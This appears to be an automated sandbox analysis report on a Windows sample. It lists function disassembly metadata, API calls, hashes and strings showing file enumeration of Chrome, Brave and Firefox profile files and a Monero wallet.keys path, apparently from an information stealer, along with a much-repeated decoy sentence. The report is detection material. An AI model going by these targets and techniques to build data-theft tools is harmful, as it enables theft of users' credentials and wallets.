The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FF473F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 544645111-2218711628
Opcode ID: cf70159fe8b6c92432417223a1390a95fc850d54ed534bffa4e56ff45636cafd
Instruction ID: 045d034feed7165e54ef95d9340c8417b2c5ed1280d63374c059e0ff3c051841
Opcode Fuzzy Hash: cf70159fe8b6c92432417223a1390a95fc850d54ed534bffa4e56ff45636cafd
Instruction Fuzzy Hash: 5E4114647D22047AE677F7A58C46E9D7672EFC360AF505048B8C05E24ECFB46501CB32

Function 00FFBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,01010B32,01010B2B,00000000,?,?,?,010113F4,01010B2A), ref: 00FFBEF5
StrCmpCA.SHLWAPI(?,010113F8), ref: 00FFBF4D
StrCmpCA.SHLWAPI(?,010113FC), ref: 00FFBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFC7BF
FindClose.KERNEL32(000000FF), ref: 00FFC7D1

Strings

Google Chrome, xrefs: 00FFC634
Brave, xrefs: 00FFC102
Preferences, xrefs: 00FFC11E
\Brave\Preferences, xrefs: 00FFC1DB

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 0fa607c4661b5a16b66fe30a992c8a94a880aef7197d6b9eee3a86f523d290f8
Instruction ID: b986b683a9889833d809e8fa65ef46fa06c0675df4758e96f6153639bd372c9c
Opcode Fuzzy Hash: 0fa607c4661b5a16b66fe30a992c8a94a880aef7197d6b9eee3a86f523d290f8
Instruction Fuzzy Hash: A6425472A10209EBEB15FB70DD95EED733CAFA4300F408568A54A971D4EF349B49CBA1

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
AuthcAMDenti, xrefs: 6C653946
QPC, xrefs: 6C6538FC
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 01004910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0100492C
FindFirstFileA.KERNEL32(?,?), ref: 01004943
StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
FindClose.KERNEL32(000000FF), ref: 01004B92

Strings

%s\*, xrefs: 01004920
%s\%s, xrefs: 010049FB
%s\%s, xrefs: 010049A4

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 669c8e0ca03e1077b2141ff4d584e4ad437f05a2903ec466d266b74553abfb3b
Instruction ID: a19e0117c5a6467e6c5291f9cc7de5a48653dd43449e89503b45514b8b9ecf96
Opcode Fuzzy Hash: 669c8e0ca03e1077b2141ff4d584e4ad437f05a2903ec466d266b74553abfb3b
Instruction Fuzzy Hash: D26188B1900219ABDB25EBA4EC49FEA737CBB48700F04459CB689D7044EB75D785CF90

Function 01003EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 01003EC3
FindFirstFileA.KERNEL32(?,?), ref: 01003EDA
StrCmpCA.SHLWAPI(?,01010FAC), ref: 01003F08
StrCmpCA.SHLWAPI(?,01010FB0), ref: 01003F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0100406C
FindClose.KERNEL32(000000FF), ref: 01004081

Strings

%s\%s, xrefs: 01003EB7

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b0e2b34bb7384898e46bd6719272774adf39825be5e6e7e6a08ed34e90e70a46
Instruction ID: 8b77e3c4e4cf9e723aa7d6fcdee63cf3077d2334bb0b1ddd00e01e38f3733ddc
Opcode Fuzzy Hash: b0e2b34bb7384898e46bd6719272774adf39825be5e6e7e6a08ed34e90e70a46
Instruction Fuzzy Hash: E85167B1900218ABDB25EBB4DC89EEA737CBB54300F04859CB699D7084DB75D7858F50

Function 00FFF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010115B8,01010D96), ref: 00FFF71E
StrCmpCA.SHLWAPI(?,010115BC), ref: 00FFF76F
StrCmpCA.SHLWAPI(?,010115C0), ref: 00FFF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00FFFAB1
FindClose.KERNEL32(000000FF), ref: 00FFFAC3

Strings

prefs.js, xrefs: 00FFF812

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
